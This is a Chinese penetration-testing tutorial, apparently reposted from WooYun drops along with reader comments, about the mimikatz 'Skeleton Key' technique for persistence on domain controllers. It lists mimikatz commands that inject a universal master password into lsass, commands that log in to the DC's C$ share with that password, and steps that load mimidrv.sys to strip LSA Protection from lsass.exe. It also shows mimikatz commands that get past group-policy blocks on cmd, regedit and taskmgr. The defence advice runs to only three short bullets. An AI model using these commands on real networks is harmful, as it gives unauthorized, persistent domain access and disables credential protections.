域渗透——Skeleton Key


0x00 前言


上篇介绍了利用SSP来维持域控权限,美中不足在于其需要域控重启才能生效,而在众多的域渗透方法中,当然存在不需要域控重启即能生效的方法,所以这次就介绍其中的一个方法——Skeleton Key

0x01 简介


Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key

参考代码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

0x02 实际测试


测试环境

域控:Server 2008 R2 x64
域内主机: Win7 x64

1、域内主机使用正确密码登录域控

用户名:a@test.local
密码:12345678!Q

cmd命令:

net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:a@test.local
dir \\WIN-8VVLRPIAJB0.test.local\c$

如图

2、在域控安装Skeleton Key

mimikatz命令:

privilege::debug
misc::skeleton

如图

注:
64系统需要使用64位的mimikatz

3、域内主机使用Skeleton Key登录域控

(1)清除net use连接

cmd命令:

net use */del /y

如图

(2)使用Skeleton Key登录

mimikatz的默认Skeleton Key设置为mimikatz

cmd命令:

net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:a@test.local
dir \\WIN-8VVLRPIAJB0.test.local\c$

如图

(3)权限测试

a、使用域内不存在的用户+Skeleton Key登录

b、使用域内普通权限用户+Skeleton Key登录

如图

发现使用域内不存在的用户无法登录

使用域内普通权限用户无法访问域控

结论:Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

4、LSA Protection

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。

适用系统:

Windows 8.1
Windows Server 2012 R2

所以接下来换用Windows Server 2012 R2 x64进行测试

(1)配置LSA Protection

注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

如图

新建-DWORD值,名称为RunAsPPL,数值为00000001

如图

重启系统

(2)测试Skeleton Key

mimikatz命令:

privilege::debug
misc::skeleton

此时失败

(3)绕过LSA Protection

mimikatz早在2013年10月就已支持绕过LSA Protection

如图

参考源码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c

注:
该功能需要mimidrv.sys文件

mimikatz命令:

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

如图,导入驱动文件mimidrv.sys后,绕过LSA Protection,操作成功

0x03 补充


分享一些常见问题的解决方法,管理员常常会禁用一些重要程序的运行,比如cmd、regedit、taskmgr

1、如何禁用cmd、regedit、taskmgr

输出gpedit.msc进入本地组策略编辑器

本地计算机测试-用户配置-管理模板-系统

如图

禁用cmd:

选择"阻止访问命令提示符"-启用

禁用regedit:

选择"阻止访问注册表编辑工具"-启用

禁用taskmgr:

选择"不要运行指定的Windows应用程序"-不允许的应用程序列表-填入taskmgr.exe-启用

测试:

如图cmd、regedit、taskmgr均已被禁用

2、绕过

mimikatz命令:

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

如图,成功执行,绕过限制

0x04 防御


  • 保护域控权限
  • 查看域控日志
  • 对照攻击方法寻找入侵痕迹

0x05 小结


这次不仅测试了Skeleton Key,还介绍了mimikatz的一些隐藏功能,而这些功能并未在其官方说明文档中出现。

其实通过研究mimikatz的源码,你会发现还有许多的隐藏功能值得挖掘利用。

还是那句老话,只有了解如何攻击才能更好的防御,希望本文无论是对渗透攻击还是防御,均有帮助。

0x06 参考资料


本文由三好学生原创并首发于乌云drops,转载请注明

评论

jye33 2016-02-29 10:39:16

mimikatz的新知识已get

G

google 2016-02-29 14:54:47

good

J

justforfun 2016-03-01 09:54:05

好东西

路人甲 2016-03-07 18:37:54

翻译就是翻译别把原文改成参考,乌云官方是否对这种行为加一个管控?

三好学生

good in study,attitude and health

twitter weibo github wechat

随机分类

Ruby安全 文章:2 篇
浏览器安全 文章:36 篇
SQL注入 文章:39 篇
memcache安全 文章:1 篇
CTF 文章:62 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录